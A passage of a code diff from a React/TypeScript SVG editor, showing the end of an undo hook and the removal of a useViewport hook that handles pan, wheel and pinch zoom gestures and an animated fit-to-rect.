sets,
target,
canUndo: !!target && outcome?.tone !== 'pending',
undoLast,
}
}
-103
View File
@@ -1,103 +0,0 @@
import { useCallback, useEffect, useRef, type RefObject } from 'react'
import { useGesture } from '@use-gesture/react'
import {
easeInOutCubic,
lerp,
zoomToFitRect,
zoomViewportAt,
type Point,
type Rect,
type Size,
} from '@/lib/geometry'
import { MAX_SCALE, MIN_SCALE, useEditorStore } from './store'
const WHEEL_SENSITIVITY = 0.0015 // exponential zoom per wheel delta unit
const FIT_PADDING = 32 // px margin around a fitted rect
const FIT_DURATION_MS = 350
/**
* Wires pan/zoom/pinch gestures onto the svg (via @use-gesture) and returns an
* animated `fitToRect`. Wheel and pinch zoom toward the pointer; drag on empty
* space pans (object dragging in #11 stops propagation). Scale is clamped to
* [MIN_SCALE, MAX_SCALE]. The svg must set touch-action:none so the browser
* doesn't hijack the gestures.
*/
export function useViewport(svgRef: RefObject<SVGSVGElement | null>) {
const setViewport = useEditorStore((s) => s.setViewport)
const animRef = useRef<number | null>(null)
const cancelAnim = useCallback(() => {
if (animRef.current != null) {
cancelAnimationFrame(animRef.current)
animRef.current = null
}
}, [])
// Client (page) coords → coords within the svg, for anchoring zoom.
const clientToCanvas = useCallback(
(clientX: number, clientY: number): Point => {
const rect = svgRef.current?.getBoundingClientRect()
return rect ? { x: clientX - rect.left, y: clientY - rect.top } : { x: clientX, y: clientY }
},
[svgRef],
)
useGesture(
{
onDragStart: cancelAnim,
onDrag: ({ delta: [dx, dy], pinching, cancel }) => {
// An object move/resize/rotate owns this drag; don't also pan.
if (useEditorStore.getState().objectDragging) return
if (pinching) {
cancel()
return
}
setViewport((vp) => ({ ...vp, tx: vp.tx + dx, ty: vp.ty + dy }))
},
onWheelStart: cancelAnim,
onWheel: ({ event, delta: [, dy] }) => {
event.preventDefault()
if (!Number.isFinite(dy)) return // never let a bad delta corrupt the viewport
const p = clientToCanvas(event.clientX, event.clientY)
setViewport((vp) => zoomViewportAt(vp, p, vp.scale * Math.exp(-dy * WHEEL_SENSITIVITY), MIN_SCALE, MAX_SCALE))
},
onPinchStart: cancelAnim,
onPinch: ({ origin: [ox, oy], offset: [scale] }) => {
if (!Number.isFinite(scale)) return
const p = clientToCanvas(ox, oy)
setViewport((vp) => zoomViewportAt(vp, p, scale, MIN_SCALE, MAX_SCALE))
},
},
{
target: svgRef,
eventOptions: { passive: false }, // so onWheel can preventDefault
drag: { filterTaps: true },
pinch: {
// Seed the pinch offset with the current scale so offset[0] is absolute.
from: () => [useEditorStore.getState().viewport.scale, 0],
scaleBounds: { min: MIN_SCALE, max: MAX_SCALE },
},
},
)
const fitToRect = useCallback(
(rect: Rect, canvasSize: Size) => {
cancelAnim()
const from = useEditorStore.getState().viewport
const to = zoomToFitRect(rect, canvasSize, FIT_PADDING, MIN_SCALE, MAX_SCALE)
const start = performance.now()
const step = (now: number) => {
const t = Math.min(1, (now - start) / FIT_DURATION_MS)
const e = easeInOutCubic(t)
setViewport({ tx: lerp(from.tx, to.tx, e), ty: lerp(from.ty, to.ty, e), scale: lerp(from.scale, to.scale, e) })
animRef.current = t < 1 ? requestAnimationFrame(step) : null
}
animRef.current = requestAnimationFrame(step)
},
[cancelAnim, setViewport],
)
useEffect(() => cancelAnim, [cancelAnim]) // stop any tween on unmount
return { fitToRect }
}